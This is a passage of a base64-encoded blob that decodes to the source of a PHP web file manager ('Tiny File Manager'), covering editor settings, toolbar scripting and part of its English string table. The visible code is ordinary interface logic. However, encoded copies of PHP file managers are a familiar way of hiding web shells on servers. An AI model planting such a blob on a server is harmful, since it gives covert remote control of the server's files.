U1vZGUiOnsiamF2YXNjcmlwdCI6IkphdmFTY3JpcHQiLCJhYmFwIjoiQUJBUCIsImFiYyI6IkFCQyIsImFjdGlvbnNjcmlwdCI6IkFjdGlvblNjcmlwdCIsImFkYSI6IkFEQSIsImFwYWNoZV9jb25mIjoiQXBhY2hlIENvbmYiLCJhc2NpaWRvYyI6IkFzY2lpRG9jIiwiYXNsIjoiQVNMIiwiYXNzZW1ibHlfeDg2IjoiQXNzZW1ibHkgeDg2IiwiYXV0b2hvdGtleSI6IkF1dG9Ib3RLZXkiLCJhcGV4IjoiQXBleCIsImJhdGNoZmlsZSI6IkJhdGNoRmlsZSIsImJybyI6IkJybyIsImNfY3BwIjoiQyBhbmQgQysrIiwiYzlzZWFyY2giOiJDOVNlYXJjaCIsImNpcnJ1IjoiQ2lycnUiLCJjbG9qdXJlIjoiQ2xvanVyZSIsImNvYm9sIjoiQ29ib2wiLCJjb2ZmZWUiOiJDb2ZmZWVTY3JpcHQiLCJjb2xkZnVzaW9uIjoiQ29sZEZ1c2lvbiIsImNzaGFycCI6IkMjIiwiY3NvdW5kX2RvY3VtZW50IjoiQ3NvdW5kIERvY3VtZW50IiwiY3NvdW5kX29yY2hlc3RyYSI6IkNzb3VuZCIsImNzb3VuZF9zY29yZSI6IkNzb3VuZCBTY29yZSIsImNzcyI6IkNTUyIsImN1cmx5IjoiQ3VybHkiLCJkIjoiRCIsImRhcnQiOiJEYXJ0IiwiZGlmZiI6IkRpZmYiLCJkb2NrZXJmaWxlIjoiRG9ja2VyZmlsZSIsImRvdCI6IkRvdCIsImRyb29scyI6IkRyb29scyIsImVkaWZhY3QiOiJFZGlmYWN0IiwiZWlmZmVsIjoiRWlmZmVsIiwiZWpzIjoiRUpTIiwiZWxpeGlyIjoiRWxpeGlyIiwiZWxtIjoiRWxtIiwiZXJsYW5nIjoiRXJsYW5nIiwiZm9ydGgiOiJGb3J0aCIsImZvcnRyYW4iOiJGb3J0cmFuIiwiZnNoYXJwIjoiRlNoYXJwIiwiZnNsIjoiRlNMIiwiZnRsIjoiRnJlZU1hcmtlciIsImdjb2RlIjoiR2NvZGUiLCJnaGVya2luIjoiR2hlcmtpbiIsImdpdGlnbm9yZSI6IkdpdGlnbm9yZSIsImdsc2wiOiJHbHNsIiwiZ29ic3RvbmVzIjoiR29ic3RvbmVzIiwiZ29sYW5nIjoiR28iLCJncmFwaHFsc2NoZW1hIjoiR3JhcGhRTFNjaGVtYSIsImdyb292eSI6Ikdyb292eSIsImhhbWwiOiJIQU1MIiwiaGFuZGxlYmFycyI6IkhhbmRsZWJhcnMiLCJoYXNrZWxsIjoiSGFza2VsbCIsImhhc2tlbGxfY2FiYWwiOiJIYXNrZWxsIENhYmFsIiwiaGF4ZSI6ImhhWGUiLCJoanNvbiI6Ikhqc29uIiwiaHRtbCI6IkhUTUwiLCJodG1sX2VsaXhpciI6IkhUTUwgKEVsaXhpcikiLCJodG1sX3J1YnkiOiJIVE1MIChSdWJ5KSIsImluaSI6IklOSSIsImlvIjoiSW8iLCJqYWNrIjoiSmFjayIsImphZGUiOiJKYWRlIiwiamF2YSI6IkphdmEiLCJqc29uIjoiSlNPTiIsImpzb25pcSI6IkpTT05pcSIsImpzcCI6IkpTUCIsImpzc20iOiJKU1NNIiwianN4IjoiSlNYIiwianVsaWEiOiJKdWxpYSIsImtvdGxpbiI6IktvdGxpbiIsImxhdGV4IjoiTGFUZVgiLCJsZXNzIjoiTEVTUyIsImxpcXVpZCI6IkxpcXVpZCIsImxpc3AiOiJMaXNwIiwibGl2ZXNjcmlwdCI6IkxpdmVTY3JpcHQiLCJsb2dpcWwiOiJMb2dpUUwiLCJsc2wiOiJMU0wiLCJsdWEiOiJMdWEiLCJsdWFwYWdlIjoiTHVhUGFnZSIsImx1Y2VuZSI6Ikx1Y2VuZSIsIm1ha2VmaWxlIjoiTWFrZWZpbGUiLCJtYXJrZG93biI6Ik1hcmtkb3duIiwibWFzayI6Ik1hc2siLCJtYXRsYWIiOiJNQVRMQUIiLCJtYXplIjoiTWF6ZSIsIm1lbCI6Ik1FTCIsIm1peGFsIjoiTUlYQUwiLCJtdXNoY29kZSI6Ik1VU0hDb2RlIiwibXlzcWwiOiJNeVNRTCIsIm5peCI6Ik5peCIsIm5zaXMiOiJOU0lTIiwib2JqZWN0aXZlYyI6Ik9iamVjdGl2ZS1DIiwib2NhbWwiOiJPQ2FtbCIsInBhc2NhbCI6IlBhc2NhbCIsInBlcmwiOiJQZXJsIiwicGVybDYiOiJQZXJsIDYiLCJwZ3NxbCI6InBnU1FMIiwicGhwX2xhcmF2ZWxfYmxhZGUiOiJQSFAgKEJsYWRlIFRlbXBsYXRlKSIsInBocCI6IlBIUCIsInB1cHBldCI6IlB1cHBldCIsInBpZyI6IlBpZyIsInBvd2Vyc2hlbGwiOiJQb3dlcnNoZWxsIiwicHJhYXQiOiJQcmFhdCIsInByb2xvZyI6IlByb2xvZyIsInByb3BlcnRpZXMiOiJQcm9wZXJ0aWVzIiwicHJvdG9idWYiOiJQcm90b2J1ZiIsInB5dGhvbiI6IlB5dGhvbiIsInIiOiJSIiwicmF6b3IiOiJSYXpvciIsInJkb2MiOiJSRG9jIiwicmVkIjoiUmVkIiwicmh0bWwiOiJSSFRNTCIsInJzdCI6IlJTVCIsInJ1YnkiOiJSdWJ5IiwicnVzdCI6IlJ1c3QiLCJzYXNzIjoiU0FTUyIsInNjYWQiOiJTQ0FEIiwic2NhbGEiOiJTY2FsYSIsInNjaGVtZSI6IlNjaGVtZSIsInNjc3MiOiJTQ1NTIiwic2giOiJTSCIsInNqcyI6IlNKUyIsInNsaW0iOiJTbGltIiwic21hcnR5IjoiU21hcnR5Iiwic25pcHBldHMiOiJzbmlwcGV0cyIsInNveV90ZW1wbGF0ZSI6IlNveSBUZW1wbGF0ZSIsInNwYWNlIjoiU3BhY2UiLCJzcWwiOiJTUUwiLCJzcWxzZXJ2ZXIiOiJTUUxTZXJ2ZXIiLCJzdHlsdXMiOiJTdHlsdXMiLCJzdmciOiJTVkciLCJzd2lmdCI6IlN3aWZ0IiwidGNsIjoiVGNsIiwidGVycmFmb3JtIjoiVGVycmFmb3JtIiwidGV4IjoiVGV4IiwidGV4dCI6IlRleHQiLCJ0ZXh0aWxlIjoiVGV4dGlsZSIsInRvbWwiOiJUb21sIiwidHN4IjoiVFNYIiwidHdpZyI6IlR3aWciLCJ0eXBlc2NyaXB0IjoiVHlwZXNjcmlwdCIsInZhbGEiOiJWYWxhIiwidmJzY3JpcHQiOiJWQlNjcmlwdCIsInZlbG9jaXR5IjoiVmVsb2NpdHkiLCJ2ZXJpbG9nIjoiVmVyaWxvZyIsInZoZGwiOiJWSERMIiwidmlzdWFsZm9yY2UiOiJWaXN1YWxmb3JjZSIsIndvbGxvayI6IldvbGxvayIsInhtbCI6IlhNTCIsInhxdWVyeSI6IlhRdWVyeSIsInlhbWwiOiJZQU1MIiwiZGphbmdvIjoiRGphbmdvIn0sImZvbnRTaXplIjp7ODo4LDEwOjEwLDExOjExLDEyOjEyLDEzOjEzLDE0OjE0LDE1OjE1LDE2OjE2LDE3OjE3LDE4OjE4LDIwOjIwLDIyOjIyLDI0OjI0LDI2OjI2LDMwOjMwfX07CiAgICAgICAgICAgIGlmKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHsgJG1vZGVFbC5odG1sKG9wdGlvbk5vZGUoImFjZS9tb2RlLyIsIF9kYXRhLmFjZU1vZGUpKTsgfQogICAgICAgICAgICBpZihfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkgeyB2YXIgbGlnaHRUaGVtZSA9IG9wdGlvbk5vZGUoImFjZS90aGVtZS8iLCBfZGF0YS5hY2VUaGVtZS5icmlnaHQpLCBkYXJrVGhlbWUgPSBvcHRpb25Ob2RlKCJhY2UvdGhlbWUvIiwgX2RhdGEuYWNlVGhlbWUuZGFyayk7ICR0aGVtZUVsLmh0bWwoIjxvcHRncm91cCBsYWJlbD1cIkJyaWdodFwiPiIrbGlnaHRUaGVtZSsiPC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XCJEYXJrXCI+IitkYXJrVGhlbWUrIjwvb3B0Z3JvdXA+Iik7fQogICAgICAgICAgICBpZihfZGF0YSAmJiBfZGF0YS5mb250U2l6ZSkgeyAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoIiIsIF9kYXRhLmZvbnRTaXplKSk7IH0KICAgICAgICAgICAgJG1vZGVFbC52YWwoIGVkaXRvci5nZXRTZXNzaW9uKCkuJG1vZGVJZCApOwogICAgICAgICAgICAkdGhlbWVFbC52YWwoIGVkaXRvci5nZXRUaGVtZSgpICk7CiAgICAgICAgICAgICRmb250U2l6ZUVsLnZhbCgxMikuY2hhbmdlKCk7IC8vc2V0IGRlZmF1bHQgZm9udCBzaXplIGluIGRyb3AgZG93bgogICAgICAgIH0KCiAgICAgICAgJChmdW5jdGlvbigpewogICAgICAgICAgICByZW5kZXJUaGVtZU1vZGUoKTsKICAgICAgICAgICAgJCgiLmpzLWFjZS10b29sYmFyIikub24oImNsaWNrIiwgJ2J1dHRvbicsIGZ1bmN0aW9uKGUpewogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKCJkYXRhLWNtZCIpLCBlZGl0b3JPcHRpb24gPSAkKHRoaXMpLmF0dHIoImRhdGEtb3B0aW9uIik7CiAgICAgICAgICAgICAgICBpZihjbWRWYWx1ZSAmJiBjbWRWYWx1ZSAhPSAibm9uZSIpIHsKICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZWRpdG9yT3B0aW9uKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoZWRpdG9yT3B0aW9uID09ICJmdWxsc2NyZWVuIikgewogICAgICAgICAgICAgICAgICAgICAgICAodm9pZCAwIT09ZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQmJm51bGw9PT1kb2N1bWVudC5mdWxsU2NyZWVuRWxlbWVudHx8dm9pZCAwIT09ZG9jdW1lbnQubXNGdWxsc2NyZWVuRWxlbWVudCYmbnVsbD09PWRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnR8fHZvaWQgMCE9PWRvY3VtZW50Lm1vekZ1bGxTY3JlZW4mJiFkb2N1bWVudC5tb3pGdWxsU2NyZWVufHx2b2lkIDAhPT1kb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4mJiFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pCiAgICAgICAgICAgICAgICAgICAgICAgICYmKGVkaXRvci5jb250YWluZXIucmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpOmVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbigpOmVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci53ZWJraXRSZXF1ZXN0RnVsbFNjcmVlbihFbGVtZW50LkFMTE9XX0tFWUJPQVJEX0lOUFVUKTplZGl0b3IuY29udGFpbmVyLm1zUmVxdWVzdEZ1bGxzY3JlZW4mJmVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZWRpdG9yT3B0aW9uID09ICJ3cmFwIikgewogICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZSIpLm9uKCJjaGFuZ2UiLCBmdW5jdGlvbihlKXsKICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgIGxldCBzZWxlY3RlZFZhbHVlID0gJCh0aGlzKS52YWwoKSwgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cigiZGF0YS10eXBlIik7CiAgICAgICAgICAgICAgICBpZihzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gIm1vZGUiKSB7CiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLmdldFNlc3Npb24oKS5zZXRNb2RlKHNlbGVjdGVkVmFsdWUpOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAidGhlbWUiKSB7CiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLnNldFRoZW1lKHNlbGVjdGVkVmFsdWUpOwogICAgICAgICAgICAgICAgfWVsc2UgaWYoc2VsZWN0ZWRWYWx1ZSAmJiBzZWxlY3Rpb25UeXBlID09ICJmb250U2l6ZSIpIHsKICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKICAgIDwvc2NyaXB0Pgo8P3BocCBlbmRpZjsgPz4KPGRpdiBpZD0ic25hY2tiYXIiPjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfQoKLyoqCiAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbQogKiBAcGFyYW0gc3RyaW5nICR0eHQKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGxuZygkdHh0KSB7CiAgICBnbG9iYWwgJGxhbmc7CgogICAgLy8gRW5nbGlzaCBMYW5ndWFnZQogICAgJHRyWydlbiddWydBcHBOYW1lJ10gICAgICAgID0gJ1RpbnkgRmlsZSBNYW5hZ2VyJzsgICAgICAkdHJbJ2VuJ11bJ0FwcFRpdGxlJ10gICAgICAgICAgID0gJ0ZpbGUgTWFuYWdlcic7CiAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICAgICAgPSAnVXNlcm5hbWUnOwogICAgJHRyWydlbiddWydQYXNzd29yZCddICAgICAgID0gJ1Bhc3N3b3JkJzsgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0xvZ291dCddICAgICAgICAgICAgID0gJ1NpZ24gT3V0JzsKICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgICAgICA9ICdDb3B5JzsKICAgICR0clsnZW4nXVsnU2F2ZSddICAgICAgICAgICA9ICdTYXZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTZWxlY3RBbGwnXSAgICAgICAgICA9ICdTZWxlY3QgYWxsJzsKICAgICR0clsnZW4nXVsnVW5TZWxlY3RBbGwnXSAgICA9ICdVbnNlbGVjdCBhbGwnOyAgICAgICAgICAgJHRyWydlbiddWydGaWxlJ10gICAgICAgICAgICAgICA9ICdGaWxlJzsKICAgICR0clsnZW4nXVsnQmFjayddICAgICAgICAgICA9ICdCYWNrJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTaXplJ10gICAgICAgICAgICAgICA9ICdTaXplJzsKICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7ICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydNb2RpZmllZCddICAgICAgICAgICA9ICdNb2RpZmllZCc7CiAgICAkdHJbJ2VuJ11bJ093bmVyJ10gICAgICAgICAgPSAnT3duZXInOyAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICAgICAgPSAnU2VhcmNoJzsKICAgICR0clsnZW4nXVsnTmV3SXRlbSddICAgICAgICA9ICdOZXcgSXRlbSc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydGb2xkZXInXSAgICAgICAgICAgICA9ICdGb2xkZXInOwogICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7ICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1JlbmFtZSddICAgICAgICAgICAgID0gJ1JlbmFtZSc7CiAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICAgICAgPSAnRGlyZWN0IGxpbmsnOwogICAgJHRyWydlbiddWydVcGxvYWRpbmdGaWxlcyddID0gJ1VwbG9hZCBGaWxlcyc7ICAgICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7CiAgICAkdHJbJ2VuJ11bJ0NvcHlpbmcnXSAgICAgICAgPSAnQ29weWluZyc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlTmV3SXRlbSddICAgICAgPSAnQ3JlYXRlIE5ldyBJdGVtJzsKICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddICAgICA9ICdBZHZhbmNlZCBFZGl0b3InOwogICAgJHRyWydlbiddWydBY3Rpb25zJ10gICAgICAgID0gJ0FjdGlvbnMnOyAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciBpcyBlbXB0eSddICAgID0gJ0ZvbGRlciBpcyBlbXB0eSc7CiAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJzsgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ2FuY2VsJ10gICAgICAgICAgICAgPSAnQ2FuY2VsJzsKICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ109ICdJbnZlcnQgU2VsZWN0aW9uJzsgICAgICAgJHRyWydlbiddWydEZXN0aW5hdGlvbkZvbGRlciddICA9ICdEZXN0aW5hdGlvbiBGb2xkZXInOwogICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7ICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0l0ZW1OYW1lJ10gICAgICAgICAgID0gJ0l0ZW0gTmFtZSc7CiAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7ICAgICAgICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICAgICAgPSAnRG93bmxvYWQnOwogICAgJHRyWydlbiddWydPcGVuJ10gICAgICAgICAgID0gJ09wZW4nOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1VuWmlwJ10gICAgICAgICAgICAgID0gJ1VuWmlwJzsKICAgICR0clsnZW4nXVsnVW5aaXBUb0ZvbGRlciddICA9ICdVblppcCB0byBmb2xkZXInOyAgICAgICAgJHRyWydlbiddWydFZGl0J10gICAgICAgICAgICAgICA9ICdFZGl0JzsKICAgICR0clsnZW4nXVsnTm9ybWFsRWRpdG9yJ10gICA9ICdOb3JtYWwgRWRpdG9yJzsgICAgICAgICAgJHRyWydlbiddWydCYWNrVXAnXSAgICAgICAgICAgICA9ICdCYWNrIFVwJzsKICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJzsgICAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgICAgICA9ICdGaWxlcyc7CiAgICAkdHJbJ2VuJ11bJ01vdmUnXSAgICAgICAgICAgPSAnTW92ZSc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ2hhbmdlJ10gICAgICAgICAgICAgPSAnQ2hhbmdlJzsKICAgICR0clsnZW4nXVsnU2V0dGluZ3MnXSAgICAgICA9ICdTZXR0aW5ncyc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgICAgICA9ICdMYW5ndWFnZSc7ICAgICAgICAKICAgICR0clsnZW4nXVsnRXJyb3JSZXBvcnRpbmcnXSA9ICdFcnJvciBSZXBvcnRpbmcnOyAgICAgICAgJHRyWydlbiddWydTaG93SGlkZGVuRmlsZXMnXSAgICA9ICdTaG93IEhpZGRlbiBGaWxlcyc7CiAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICAgICAgPSAnQ3JlYXRlZCc7CiAgICAkdHJbJ2VuJ11bJ0hlbHAgRG9jdW1lbnRzJ10gPSAnSGVscCBEb2N1bWVudHMnOyAgICAgICAgICR0clsnZW4nXVsnUmVwb3J0IElzc3VlJ10gICAgICAgPSAnUmVwb3J0IElzc3VlJzsKICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydGdWxsU2l6ZSddICAgICAgICAgICA9ICdGdWxsIFNpemUnOyAgICAgICAgICAgICAgCiAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtcy9Pd25lciBjb2x1bW5zJzskdHJbJ2VuJ11bJ1lvdSBhcmUgbG9nZ2VkIGluJ10gPSAnWW91IGFyZSBsb2dnZWQgaW4nOwogICAgJHRyWydlbiddWydOb3RoaW5nIHNlbGVjdGVkJ10gICA9ICdOb3RoaW5nIHNlbGVjdGVkJzsgICAkdHJbJ2VuJ11bJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJ10gICAgPSAnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnOwogICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nOyAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gICAgICAgPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnOwogICAgJHRyWydlbiddWydEZWxldGVkJ10gICAgICAgICAgICA9ICdEZWxldGVkJzsgICAgICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSAgICAgICAgPSAnQXJjaGl2ZSBub3QgY3JlYXRlZCc7CiAgICAkdHJbJ2VuJ11bJ0NvcGllZCBmcm9tJ10gICAgICAgID0gJ0NvcGllZCBmcm9tJzsgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddICAgICAgICA9ICdQZXJtaXNzaW9ucyBjaGFuZ2VkJzsKICAgICR0clsnZW4nXVsndG8nXSAgICAgICAgICAgICAgICAgPSAndG8nOyAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSAgICAgICAgID0gJ1NhdmVkIFN1Y2Nlc3NmdWxseSc7CiAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnOyAgICAgICAgICR0clsnZW4nXVsnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknXSAgICA9ICdGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseSc7CiAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnOyAgICAgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnXSAgICA9ICdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCc7CiAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInOyAgICAgICR0clsnZW4nXVsnU291cmNlIHBhdGggbm90IGRlZmluZWQnXSAgICA9ICdTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCc7CiAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJzsgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nXSAgICA9ICdFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSc7CiAgICAkdHJbJ2VuJ11bJ0NyZWF0ZSBhcmNoaXZlPyddICAgID0gJ0NyZWF0ZSBhcmNoaXZlPyc7ICAgICR0clsnZW4nXVsnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJ10gICAgPSAnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJzsKICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7ICAgJHRyWydlbiddWydGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCddICA9ICdGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCc7CiAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7ICAgICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJzsKICAgICR0clsnZW4nXVsnRmlsZSBub3QgZm91bmQnXSAgICAgPSAnRmlsZSBub3QgZm91bmQnOyAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyddID0gJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJzsKICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7ICAgICAgICAgJHRyWydlbiddWydHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCddID0gJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJzsKICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJzsKICAgICR0clsnZW4nXVsncGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uJ10gPSAncGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uJzsKICAgICR0clsnZW4nXVsnQWR2YW5jZWQgU2VhcmNoJ10gICAgPSAnQWR2YW5jZWQgU2VhcmNoJzsgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nXSAgICA9ICdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nOwogICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7CiAgICAkdHJbJ2VuJ11bJ0ZJTEUgRVhURU5TSU9OIEhBUyBOT1QgU1VQUE9SVEVEJ10gICAgICAgICAgICAgICA9ICdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCc7CiAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnOwogICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nXSAgICAgICAgICAgICAgPSAnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJzsKICAgICR0clsnZW4nXVsnRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPyddICAgICAgICAgICAgID0gJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nOwogICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJzsKICAgICR0clsnZW4nXVsnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSddICAgICAgID0gJ0FjY2VzcyBkZW5pZWQuIElQIHJlc3RyaWN0aW9uIGFwcGxpY2FibGUnOwogICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFt